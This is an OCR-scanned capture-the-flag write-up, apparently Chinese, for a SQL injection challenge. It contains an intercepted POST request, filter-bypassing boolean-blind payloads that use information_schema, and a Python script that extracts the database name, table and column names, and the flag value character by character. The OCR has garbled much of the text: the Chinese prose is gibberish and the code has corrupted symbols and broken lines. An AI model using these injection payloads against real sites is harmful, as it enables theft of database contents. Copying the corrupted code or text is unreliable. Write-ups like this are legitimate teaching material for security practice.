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</head=
<body style="height 100%;margin:0 auto;"=
=div style="position:relative: margin:0 auto;background-color: black; colorwhite font-size: 15powidth: 100%;height: 100%; "=
<form action="" method="post" style="margin:0 auto width: 1200px height: 100px padding-top: 50px "=

<pre=Please input the id</pre=
<input type="text" name="id"=
<hr=<hr=
<input type="submit" name="submit"=
<phr=<hr=

<font size="10" style="text-align.center,margin:0 auto;" color="#FFFFO00">You are in ......c........ </br=</font= <fform=

I INEI

o XK, EFPIWT, RAAE—NTorT, HEOEF LI FHBBIKE THEN, REERNT —MURX K payload
BT, RERREHAELE. - . -

it e em e e m e e o bl il L el il il o fm mme e m —mem e

Attack type: [Sniper

POST fweblearmest/index.php HTTP/1 1
Host: ctfS shiyanbar.com
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Accept text/html applicationf<html+xml applicationfxml,g=09 */* q=08

Accept-Language: zh

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Reguests: 1

Content-Type: applicationfx-www-form-urlencoded

Content-Length: 29

id=1§1& 1&submit=Submit%2EQuery
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id="1"/**/or/**/1="1&submit=5ubmit+Query

Please input the id

Submit Query
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Submit Query

Youarein ..cooenvenn.n..

#coding:utf-8
#author:baynk
import requests
def length_two(url,payload,headers):
min = @
max = 127
while True:
if (max-min)>1:
mid = int((min+max)/2)
else:
mid = max
break
html = requests.post(url,data=payload.format(mid),headers=headers)

if "You are in ........ . 0 " in html.text:
min = mid

else:
max = mid

return mid
def name_two(length,url,payload,headers):
name = "'
for i in range(1,length+1):
min = @
max = 127
while True:
if (max-min)>1:
int((min+max)/2)

if (max - min) ==

mid

mid = max

break
html = requests.post(url,data=payload.format(i,mid),headers=headers)
if "You are in .....oiiiien " in html.text:



min = mid
else:
max = mid
name += chr(mid)
return name
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
#url = input("E#Aurlisit: )
url="http://ctf5.shiyanbar.com/web/earnest/index.php"
#db_length_payload="1id=0"'0orr(length(database())>{})oorr'e&submit=Submit+Query"
#db_length=1length_two(url,db_length_payload, headers)
#print(db_length)=18
#db_name_payload=id="1id=0"'0Oorr(ascii(mid(database()from'{} 'foorr'1'))>{})oorr'e&submit=Submit+Query"
#db_name=name_two(db_length,url,db_name_payload, headers)
#print(db_name)=ctf_sql_bool_blind
#print("*"*100+"\n"+"HWEKE AN{}, ERN:{}".format(db_length,db_name))
#table _length_list_payload="id=0'Oorr((select(length(group_concat(table_name)))from(infoorrmation_schema.tab
les)where(table_schema=database()))>{})oorr'0&submit=Submit+Query"
#table_length_list=length_two(url,table_length_list_payload,headers)
#tprint(table_length_list)=10
#ttable name_list_payload="1id=0'0Oorr(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tab
les)where(table_schema=database()))from'{}'foorr'1'))>{})oorr'0&submit=Submit+Query"
#table_name_list=name_two(table_length_list,url,table_name_list_payload,headers)
#print ("*"*100+"\n"+"RBKEN{}, ERN:{}".format(table_length_list,table_name_list))
table_name=input('*'*100+'\n'+'IEMABZEHNRSG: ')
#tcolumn_length_list_payload="id=0'Oorr((select(length(group_concat(column_name)))from(infoorrmation_schema.c
olumns)where(table_name=0x66696167))>{})oorr'0&submit=Submit+Query"
#tcolumn_length_list=1length_two(url,column_length_list_payload,headers)
#tprint(column_length_list)=5
#tcolumn_name_list_payload="id=0'0Oorr(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.c
olumns)where(table_name=0x66696167))from'{}'foorr'1'))>{})oorr'e&submit=Submit+Query"
#column_name_list=name_two(column_length_list,url,column_name_list_payload,headers)
#tprint(column_name_list)=fl$4g
#print("*"*100+"\n"+"FIZKERN{}, EN{}".format(column_length_list,column_name_list))
column_name=input('*'*100+'\n'+"HEMAEB RN FEL: ')
column_value_length_payload = "id=0'Oorr(select(length((select(fl$4g)from(fiag))))>{})oorr'0&submit=Submit+Q
uery"
column_value_length = length_two(url,column_value_length_payload,headers)
#print(column_value_length)=19
column_value_payload = "id=0'Oorr((select((ascii(mid((select(fl$4g)from(fiag))from'{} ' foorr'1')))))>{})oorr’
0&submit=Submit+Query"
column_value=name_two(column_value_length,url,column_value_payload,headers)
print("*"*100+"\n"+column_name+" N : "+column_value)
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C:\Python37\python3.exe "D:/Programs/Pycharm for python/tools/POST Blind-db.py"
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Process finished with exit code ©



ISE

A w0 b

. NEE T EH R B R RN IR SR T .

2B T B L kT ST IR A k.
S03E T mid 2R FURT LA B #esubstr.
ENMFRBERZSAMEE! | |



	实验吧-认真一点！ Writeup
	过程
	总结


